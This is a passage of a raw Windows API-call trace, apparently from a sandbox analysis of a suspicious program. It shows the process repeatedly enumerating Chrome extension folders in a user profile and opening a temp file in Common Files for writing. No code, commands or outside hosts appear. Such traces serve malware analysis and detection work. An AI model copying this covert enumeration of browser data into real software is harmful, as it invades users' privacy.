0x198 [0136.132] GetFileType (hFile=0x198) returned 0x1 [0136.132] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.178] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.178] GetLastError () returned 0x12 [0136.178] AreFileApisANSI () returned 1 [0136.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.178] GetFileType (hFile=0x198) returned 0x1 [0136.178] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.179] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.179] GetLastError () returned 0x12 [0136.179] AreFileApisANSI () returned 1 [0136.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.179] GetFileType (hFile=0x198) returned 0x1 [0136.179] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.240] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.240] GetLastError () returned 0x12 [0136.240] AreFileApisANSI () returned 1 [0136.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.240] GetFileType (hFile=0x198) returned 0x1 [0136.241] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.241] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.242] GetLastError () returned 0x12 [0136.242] AreFileApisANSI () returned 1 [0136.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.243] GetFileType (hFile=0x198) returned 0x1 [0136.243] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.287] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.287] GetLastError () returned 0x12 [0136.287] AreFileApisANSI () returned 1 [0136.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.287] GetFileType (hFile=0x198) returned 0x1 [0136.288] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.288] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.288] GetLastError () returned 0x12 [0136.288] AreFileApisANSI () returned 1 [0136.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.288] GetFileType (hFile=0x198) returned 0x1 [0136.288] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.333] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.333] GetLastError () returned 0x12 [0136.333] AreFileApisANSI () returned 1 [0136.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.334] GetFileType (hFile=0x198) returned 0x1 [0136.334] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.334] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.334] GetLastError () returned 0x12 [0136.334] AreFileApisANSI () returned 1 [0136.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.334] GetFileType (hFile=0x198) returned 0x1 [0136.335] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.380] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.380] GetLastError () returned 0x12 [0136.380] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0136.380] GetLastError () returned 0x12 [0136.380] AreFileApisANSI () returned 1 [0136.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0136.381] GetFileType (hFile=0x194) returned 0x1 [0136.381] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0136.381] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0136.381] GetLastError () returned 0x12 [0136.381] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0136.381] GetLastError () returned 0x12 [0136.381] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0136.382] GetLastError () returned 0x12 [0136.382] AreFileApisANSI () returned 1 [0136.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0136.382] GetFileType (hFile=0x18c) returned 0x1 [0136.382] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0136.382] AreFileApisANSI () returned 1 [0136.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0136.382] GetFileType (hFile=0x190) returned 0x1 [0136.382] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0136.383] AreFileApisANSI () returned 1 [0136.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0136.383] GetFileType (hFile=0x194) returned 0x1 [0136.383] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0136.384] AreFileApisANSI () returned 1 [0136.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.384] GetFileType (hFile=0x198) returned 0x1 [0136.384] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.384] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.385] GetLastError () returned 0x12 [0136.385] AreFileApisANSI () returned 1 [0136.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.385] GetFileType (hFile=0x198) returned 0x1 [0136.385] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.385] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.385] GetLastError () returned 0x12 [0136.385] AreFileApisANSI () returned 1 [0136.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.386] GetFileType (hFile=0x198) returned 0x1 [0136.386] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.427] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.427] GetLastError () returned 0x12 [0136.427] AreFileApisANSI () returned 1 [0136.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.428] GetFileType (hFile=0x198) returned 0x1 [0136.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.428] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.428] GetLastError () returned 0x12 [0136.428] AreFileApisANSI () returned 1 [0136.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.428] GetFileType (hFile=0x198) returned 0x1 [0136.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.474] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.474] GetLastError () returned 0x12 [0136.474] AreFileApisANSI () returned 1 [0136.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common 